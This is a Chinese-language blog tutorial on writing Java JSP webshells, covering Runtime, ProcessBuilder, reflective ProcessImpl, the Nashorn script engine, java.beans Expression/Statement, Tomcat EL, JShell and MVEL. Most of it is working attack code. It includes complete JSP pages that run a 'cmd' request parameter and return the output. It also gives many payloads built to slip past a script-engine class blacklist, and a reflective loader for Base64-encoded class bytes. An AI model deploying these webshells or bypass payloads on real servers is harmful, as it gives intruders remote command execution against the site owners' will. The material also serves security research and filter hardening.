美文网首页
Java WebShell1—Java 命令执行

Java WebShell1—Java 命令执行

作者: AxisX | 来源:发表于2022-04-02 14:22 被阅读0次

    JSP执行命令的方式有很多,包括常见的命令执行方法(Runtime、ProcessBuilder、ProcessImp等)、类加载、反序列化等。第一篇讲讲命令执行

    //  命令执行
    (1)java.lang.Runtime
    (2)java.lang.ProcessBuilder
    (3)java.lang.ProcessImpl
    (4)javax.script.ScriptEngineManager
    (5)java.beans.Expression
    (6)java.beans.Statement
    (7)javax.el.ELProcessor(Tomcat EL)
    (8)javax.el.ELManager (Tomcat EL)
    OGNL(Struct),SpEL(Spring)
    (9)JShell
    (10)MVEL
    

    1. 命令执行

    (1)Runtime

    每个Java应用程序都有一个类Runtime的实例,该实例允许应用程序与运行应用程序的环境进行交互。Runtime的基础用法如下,执行命令但没有回显。

    Runtime.getRuntime().exec("calc.exe");
    

    单例模式

    Runtime是单例模式设计,也就是不能通过New来创建对象,而是提供了一个统一的创建对象的方法—getRuntime。Runtime对于单例模式实现的源码如下

    private static Runtime currentRuntime = new Runtime();
    public static Runtime getRuntime() { return currentRuntime; }
    private Runtime() {} // Don't let anyone else instantiate this class
    

    分割处理

    Runtime的exec方法,实际调用的是ProcessBuilder.start(),返回的是一个Process对象。但是在调用ProcessBuilder之前会先通过StringTokenizer进行处理,它会把\t\n\r\f都当成分隔符,也就是会根据回车、空格对字符串进行分割。

    return new ProcessBuilder(cmdarray).environment(envp).directory(dir).start();
    

    exec方法有多种,一种是传入单条命令String command,一种是传入命令数组String cmdarray[]。在windows下一般用cmd来进行命令行操作,linux则是/bin/sh

    String cmd = "cmd /c calc";
    String [] cmd={"cmd","/c","calc"};
    String [] cmd={"/bin/sh","-c","open -a Calculator"}; 
    

    需要注意的是String cmd="/bin/sh -c \"echo 1 > a.txt\"",这个Runtiem字符串由于字符串按空格分割,在bash命令行下无法正常执行,就需要换成字符数组的形式传入,原因如下

    // windows,成功
    cmd /c echo axisx > 1.txt
    cmd /c "echo axisx > 2.txt"
    // Linux,失败
    /bin/sh -c echo axisx > 1.txt
    // Linux,成功
    /bin/sh -c "echo axisx > 1.txt"
    

    终端Demo

    利用Runtime写JSP虽然能执行命令了但是还不够,需要加入回显操作,完整写法如下

        public static void main(String[] args) throws IOException {
            String [] cmd={"cmd","/c","whoami"};
            Process p=Runtime.getRuntime().exec(cmd);
            InputStream ins= p.getInputStream();
            String line=null;
            InputStreamReader inputStreamReader=new InputStreamReader(ins);
            BufferedReader bufferedReader=new BufferedReader(inputStreamReader);
            while((line=bufferedReader.readLine())!=null){
                System.out.println(line);
            }
        }
    
    IO流

    Input是从外部读入数据到内存,Output是把数据从内存读到外部。IO流以byte(字节)为最小单位,因此也称为字节流。InputStream代表输入字节流,OuputStream代表输出字节流。字节的符号形式是0x00,并不易读,所以需要转换为char字符形式。这种流称为字符流,输入输出的字符流分别用ReaderWriter来进行。

    Runtime的命令执行时操作系统层面的,属于Java的外部,需要先用InputStream将操作结果读入到内存,然后转换成字符形式。所以其核心是将字节流转换为字符流InputStream是一个抽象类,是所有字节输入流的超类,子类包括FileInputStream、ByteArrayInputStream等。Reader则是所有字符输入流的超类,InputStreamReader是其子类,也是字节流到字符流的桥梁,将任何InputStream转换为Reader。这些构成了上述Demo。

    JSP Demo

    但是System.out.println是用于终端输出的,想要在页面上输出需要依靠response对象。还需要将每次的line拼接起来得到一个完整的输出字符串。如果采用s=s+line的形式,每次生成的都是临时对象浪费内存并影响GC效率,所以Java标准库提供了StringBuilder来进行字符串拼接。它进行的是链式操作,append()方法进行拼接会返回this,也就是不断调用自身。将上述Demo改为JSP形式如下

    <%@ page import="java.io.BufferedReader" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.io.InputStreamReader" %>
    <html>
    <body>
    <h2>Runtime JSP WebShell</h2>
    <%
        String cmd = request.getParameter("cmd");
        Process process = Runtime.getRuntime().exec(cmd.split(" "));
        InputStream inputStream = process.getInputStream();
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        if (stringBuilder.length() > 0) {
            response.getOutputStream().write(stringBuilder.toString().getBytes());
        }
    %>
    </body>
    </html>
    

    Runtime类除了上述常用于命令执行的方法,还具有查看JVM内存的freeMemory、totalMemory、maxMemory,还有Agent内存马中用于添加钩子进行免杀的addShutdownHook方法

    (2)ProcessBuilder

    ProcessBuilder类用于创建操作系统进程,上文说过Runtime实际调用的就是ProcessBuilder,所以利用二者的区别只在于命令执行的写法。

    Process process = Runtime.getRuntime().exec(cmd.split(" "));
    Process process = new ProcessBuilder().command(s.split(" ")).start();
    

    ProcessBuilder.start会开启进程,实际调用的是ProcessImpl.startProcessImpl是Process的子类,专门为ProcessBuilder创建Process设计的。Process主要用于进程处理,获取进程的输入输出流(getInputStream/getOutputStream)、等待或销毁进程(WaitFor/destory)等。

    (3)ProcessImpl

    ProcessBuilder.start实际调用的是ProcessImpl.start,所以理论上可以直接通过ProcessImpl来执行命令。但是ProcessImplfinal修饰的,其构造方法也是private的,所以无法直接New一个对象出来。需要通过反射的方式来执行。其start方法如下,对于静态方法(static)来说,invoke时可以传入对象也可以传入null

    static Process start(String cmdarray[], java.util.Map<String,String> environment,String dir,ProcessBuilder.Redirect[] redirects,boolean redirectErrorStream)
    

    反射写法如下

    String [] cmd={"cmd","/c","whoami"};
    Class processimpl=Class.forName("java.lang.ProcessImpl");
    Method m1=processimpl.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
    m1.setAccessible(true);
    Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
    

    (4)ScriptEngineManager

    javax.script,从JDK1.6开始引入,用于解析Javascript。被称作Java脚本引擎。

    ScriptEngineManager根据namejsjavascript)可以获取javascript脚本的工厂并生成对应的ScriptEngine,然后就可以利用ScriptEngine.eval()解析脚本字符串。用法如下

    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("js");
    String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
    engine.eval(script);
    

    需要注意的是,从 JDK 1.8 开始,Nashorn取代 Rhino(JDK 1.6, JDK1.7)成为 Java 的嵌入式 JavaScript 引擎,并在JDK15被取消。

    黑名单绕过

    一般的防御会采用黑名单的方式,常见黑名单如下

    private static final Set<String> blacklist = Sets.newHashSet(
                // Java 全限定类名
                "java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
                "java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
                "java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
                "java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
                "java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
                "java.security.AccessControlContext",
                // JavaScript 方法
                "eval", "new function");
    

    如何绕过黑名单?可以看到Runtime被禁用了,但是上文讲过Runtime本质上调用的是ProcessBuilder、ProcessImpl,所以可以将执行脚本的字符串换成如下形式

    String script="var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();";
    String script="new java.lang.ProcessBuilder().command(\"calc\").start();";
    

    或者利用注释或空格等绕过方式

    String script="java.lang./****/Runtime.getRuntime().exec(\"calc\")";
    

    还可以利用Funtion来创建对象绕过

    String script="var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')();  x.command(\"calc\"); x.start();";
    

    也可以额创建ScriptEngineManager来执行

    new javax.script.ScriptEngineManager().getEngineByName("js").eval("var a = test(); function test() { var x=java.lang."+"Runtime.getRuntime().exec(\"calc\");};");
    

    另外,作为解析引擎,它有自己的词法分析机制,具体可以看jdk.nashorn.internal.parser.Lexer中的源码

    String script="var x=java.\u2028lang.Runtime.getRuntime().exec(\"calc\");";
    String script="var x=java.\u2029lang.Runtime.getRuntime().exec(\"calc\");";
    String script="var x=java.lang.//\nRuntime.getRuntime().exec(\"calc\");";
    

    Nashorn特性

    JDK1.8开始采用的是Nashorn引擎,它支持的name可以在NashornScriptEngineFactory中看到(package-info.class)。

    private static final List<String> names = immutableList("nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript");
    private static final List<String> mimeTypes = immutableList("application/javascript", "application/ecmascript", "text/javascript", "text/ecmascript");
    private static final List<String> extensions = immutableList("js");
    

    输出方式print()、printf()、echo()都是用于脚本输出。利用输出来写文件的Demo如下

    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("JavaScript");
    File outputFile = new File("jsoutput.txt");
    FileWriter writer = new FileWriter(outputFile);
    ScriptContext defaultCtx = engine.getContext();
    defaultCtx.setWriter(writer);
    String script = "print(\"This is AxisX Test\")";
    engine.eval(script);
    writer.close();
    

    传参方式put()放入键值对,get取键。这也称为脚本绑定。绑定(Bindings)是一组键/值对,键必须是非空的非空字符串。

    String script = "print(msg)";
    engine.put("msg", "This is AxisX Test");
    engine.eval(script);
    
    engine.get("msg");
    

    全局特性:Package、对象
    1)Nashorn将所有Java包都定义为名为 Packages 的全局变量的属性
    也就是java.lang.Runtime可以写为Packages.java.lang.Runtime,所以脚本可以写成

    String script="Packages.java.lang.Runtime.getRuntime().exec(\"calc\")";
    

    2)Java对象的 type()函数将Java类型导入脚本中
    也就是类对象可以通过Java.type(\"java.lang.Runtime\");的形式获取,所以脚本可以写成

    String script="var runtime=Java.type(\"java.lang.Runtime\"); var object =runtime.getRuntime(); object.exec(\"calc\");";
    

    3)内置函数importPackage()importClass()分别从包中导入所有类和从包导入类
    要在Nashorn中使用这些函数,需要使用load()函数从mozilla_compat.js文件加载兼容性模块。

    String script = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";
    String script = "load(\"nashorn:mozilla_compat.js\"); importClass(java.lang.Runtime); var x=Runtime.getRuntime(); x.exec(\"calc\");";
    

    4)可以在with语句中使用JavaImporter对象的类的简单名称

    String script="var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"calc\");}";
    

    反射

    String script1 = "var clazz = java.security.SecureClassLoader.class;\n" +
            "        var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'axisx'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
            "        method.setAccessible(true);\n" +
            "        var classBytes = 'yv66vg...';" +
            "        var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" +
            "        var constructor = clazz.getDeclaredConstructor();\n" +
            "        constructor.setAccessible(true);\n" +
            "        var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" +
            "        clz.newInstance();";
    

    JSP

    简单的JSP写法如下,还可以结合反射进行改造

    <%
            ScriptEngineManager manager = new ScriptEngineManager(null);
            ScriptEngine engine = manager.getEngineByName("nashorn");
            String payload=request.getParameter("cmd");
            Compilable compEngine=(Compilable)engine; 
            CompiledScript script=compEngine.compile(payload);
            BufferedReader object=(BufferedReader)script.eval(); 
            String line="";
            String result="";
            while((line=object.readLine())!=null){
                result=result+line;
            }
            out.println(result);
    %>
    

    最后,关于ScriptEngineManager的内容可以查看官方文档:https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf

    (5) Expression

    EL(Expression Language,表达式语言),主要作用于JSP来访问页面的上下文和不同作用域中的对象,并进行简单的运算。java.beans.Expression是JDK自带的,其构造方法如下,分别传入表达式的目标,方法名和参数,其中参数是Object数组的形式。运算则是getValue来实现

        @ConstructorProperties({"target", "methodName", "arguments"})
        public Expression(Object target, String methodName, Object[] arguments) {
            super(target, methodName, arguments);
        }
    

    命令执行写法如下

    Expression expression=new Expression(Runtime.getRuntime(),"exec",new Object[]{"calc"});
    expression.getValue();
    

    getValue实际调用的是java.beans.Statement#invoke

    public Object getValue() throws Exception {  setValue(invoke());  }
    

    再往下追踪其实调用的是java.beans.Statement#invokeInternal,它非常典型地实现了反射

    private Object invokeInternal() throws Exception {
        Object target = getTarget();
        String methodName = getMethodName();
        Object[] arguments = getArguments();
        if (target == Class.class && methodName.equals("forName")) {
            return ClassFinder.resolveClass((String)arguments[0], this.loader);
        }
        Class<?>[] argClasses = new Class<?>[arguments.length];
        for(int i = 0; i < arguments.length; i++) {
            argClasses[i] = (arguments[i] == null) ? null : arguments[i].getClass();
        }
        ...
    

    所以Expression也可以替换成Statement来执行命令

    (6) Statement

    java.beans.Statement位于的java.beans包常用于反射相关功能。Statement中的Invoke、InvokerInternal方法都是无法直接调用的,但是execute方法调用了Invoke,所以上述Expression的写法还可以改成如下的形式。

    Statement statement=new Statement(Runtime.getRuntime(),"exec",new Object[]{"calc"});
    statement.execute();
    

    (7) ELProcessor

    ScriptEngineManager有eval函数,ELProcessor也有eval函数,它位于tomcat。

    String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
    ELProcessor elProcessor = new ELProcessor();
    Process process = (Process) elProcessor.eval(script);
    

    ELProcessor的eval方法调用的是getValue,其实现如下,Expression的创建由factory来实现,factory则是由ELManager来创建的

        private final ExpressionFactory factory;
    
        public ELProcessor() {
            this.context = this.manager.getELContext();
            this.factory = ELManager.getExpressionFactory();
        }
    
        public Object getValue(String expression, Class<?> expectedType) {
            ValueExpression ve = this.factory.createValueExpression(this.context, bracket(expression), expectedType);
            return ve.getValue(this.context);
        }
    

    那么ELProcessor的写法也可以改成ELManager来实现

    (8) ELManager

    String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
    ELManager elManager=new ELManager();
    ELContext elContext=elManager.getELContext();
    ExpressionFactory expressionFactory=ELManager.getExpressionFactory();
    ValueExpression valueExpression=expressionFactory.createValueExpression(elContext,"${"+script+"}",Object.class);
    valueExpression.getValue(elContext);
    

    (9)JShell

    JDK9以上的特性,不多说了

    <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>
    

    (10)MVEL

    payload如下

    ShellSession shellSession=new ShellSession();
    shellSession.exec("push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');");
    

    ShellSession执行exec实际执行的是_exec()。而_exec()会根据传入的commond的类型来调用对应的类

    ((Command)this.commands.get(inTokens[0])).execute(this, passParameters);
    

    commands支持的命令和命令对应的类如下:

    "help" -> {Help@605} 
    "exit" -> {Exit@607} 
    "cd" -> {ChangeWorkingDir@609} 
    "set" -> {Set@611} 
    "showvars" -> {ShowVars@613} 
    "ls" -> {DirList@614} 
    "inspect" -> {ObjectInspector@616} 
    "pwd" -> {PrintWorkingDirectory@618} 
    "push" -> {PushContext@620} 
    

    ls、pwd、cd都是操作系统常见命令。用到的push需要解释一下,push调用的是PushContext类,该类实际调用的是MVEL.eval()。但是进入到PushContext类之前,push作为token就被去掉了,不会被带入到表达式中。

        public Object execute(ShellSession session, String[] args) {
            session.setCtxObject(MVEL.eval(args[0], session.getCtxObject(), session.getVariables()));
            return "Changed Context";
        }
    

    MVEL.eval执行解析

        public static Object eval(String expression, Object ctx, Map<String, Object> vars) {
            CachingMapVariableResolverFactory factory = new CachingMapVariableResolverFactory(vars);
    
            Object var4;
            try {
                var4 = (new MVELInterpretedRuntime(expression, ctx, factory)).parse();
            } finally {
                factory.externalize();
            }
    
            return var4;
        }
    

    相关文章

      网友评论

          本文标题:Java WebShell1—Java 命令执行

          本文链接:https://www.haomeiwen.com/subject/cbagjrtx.html